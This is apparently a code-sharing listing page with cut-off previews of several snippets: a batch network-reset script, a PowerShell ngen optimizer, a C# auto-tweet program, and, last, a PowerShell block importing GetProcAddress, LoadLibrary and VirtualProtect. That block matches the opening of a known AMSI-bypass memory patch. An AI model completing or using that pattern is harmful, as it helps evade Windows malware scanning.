This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@echo off | |
SETLOCAL ENABLEDELAYEDEXPANSION | |
ipconfig /all > ipconfig_backup.txt | |
set logFile=network_reset_log.txt | |
echo [%date% %time%] Starting network reset > %logFile% | |
:checkError | |
if %ERRORLEVEL% neq 0 ( | |
echo Failed on %~1 | |
echo [%date% %time%] Failed on %~1 >> %logFile% | |
pause |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Optimize-Assemblies { | |
param ( | |
[string]$assemblyFilter = "Microsoft.PowerShell.", | |
[string]$activity = "Native Image Installation" | |
) | |
try { | |
$ngenPath = Join-Path ([Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()) "ngen.exe" | |
if (-Not (Test-Path $ngenPath)) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ngenPath = Join-Path ([Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()) "ngen.exe" | |
$assemblies = [AppDomain]::CurrentDomain.GetAssemblies() | | |
Where-Object { $_.GlobalAssemblyCache -and $_.Location } | |
foreach ($assembly in $assemblies) { | |
Start-Process -FilePath $ngenPath -ArgumentList "install `"$($assembly.Location)`"" -Wait -NoNewWindow | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using Tweetinvi; | |
namespace Automated_Tweets | |
{ | |
class Program | |
{ | |
static void Main(string[] args) | |
{ | |
#region Null Check | |
if (args is null) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$_class = @" | |
using System; | |
using System.Runtime.InteropServices; | |
public class _class { | |
[DllImport("kernel32")] | |
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | |
[DllImport("kernel32")] | |
public static extern IntPtr LoadLibrary(string name); | |
[DllImport("kernel32")] | |
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr lnsgbs, uint flNewProtect, out uint lpflOldProtect); |